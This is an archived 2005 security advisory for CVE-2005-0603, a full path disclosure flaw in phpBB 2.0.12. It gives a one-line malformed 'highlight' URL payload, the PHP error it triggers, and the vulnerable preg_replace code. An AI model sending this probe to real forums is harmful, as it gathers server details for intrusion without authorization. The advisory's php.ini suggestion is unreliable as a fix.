Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2005-0603 PoC — phpBB viewtopic文件敏感信息泄露漏洞

Source
Associated Vulnerability
Title:phpBB viewtopic文件敏感信息泄露漏洞 (CVE-2005-0603)
Description:viewtopic.php in phpBB 2.0.12 and earlier allows remote attackers to obtain sensitive information via a highlight parameter containing invalid regular expression syntax, which reveals the path in a PHP error message.
Readme
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]® - Advisory #06 - 25/02/05
--------------------------------------------------------
Program:  phpBB 2.0.12
Homepage:  http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.12 & Lower versions
Risk: Low Risk!!
Impact: Full path disclosure

      -==phpBB 2.0.12 Full path disclosure==-
---------------------------------------------------------

- Description
---------------------------------------------------------
phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

- Tested
---------------------------------------------------------
localhost & many forums

- Explotation
---------------------------------------------------------
phpBB/viewtopic.php?p=6&highlight=\[HaCkZaTaN]

It'll come out something like this.

Warning: Compilation failed: missing terminating ] for
character class at offset 20 in /home/nst/forum/viewtopic.php(1110) :
regexp code on line 1

It'll give a full path disclosure and also one thing that i noticed is
that the posts change it doesn't come out nothing.
In the HighLight Variable

Here is the problem:
-----[ Start Vuln Code ] ------------------------------------

1106: if ($highlight_match)
1107: {
1108: // This was shamelessly 'borrowed' from volker at multiartstudio dot de
1109: // via php.net's annotated manual
1110: $message = str_replace('\"', '"', \
substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "preg_replace('#\b(" . \
$highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . \
                "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1)); 1111: }

-----[ Ends Vulns Code ] ------------------------------------
Don't borrow stuff lol.

- Exploit
---------------------------------------------------------
Not Yet xD
 
- Solutions
--------------------------------------------------------
Not Yet xD

OK other thing that i noticed was in php.ini

magic_quotes_gpc = On
magic_quotes_sybase = Off

you have to turn both of them ON

- References
--------------------------------------------------------
http://neossecurity.net/Advisories/Advisory-06.txt


- Credits
-------------------------------------------------
Discovered by HaCkZaTaN <hck_zatan@hotmail.com>

[N]eo [S]ecurity [T]eam [NST]® - http://neossecurity.net/

Got Questions? http://neossecurity.net/

Irc.InfoGroup.cl #neosecurityteam

- Greets
--------------------------------------------------------
           Paisterist
           T0wn3r
	   Heap
           Nitrous
           CrashCool
           eL_mEsIaS
           Makoki

           And my Colombian people
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →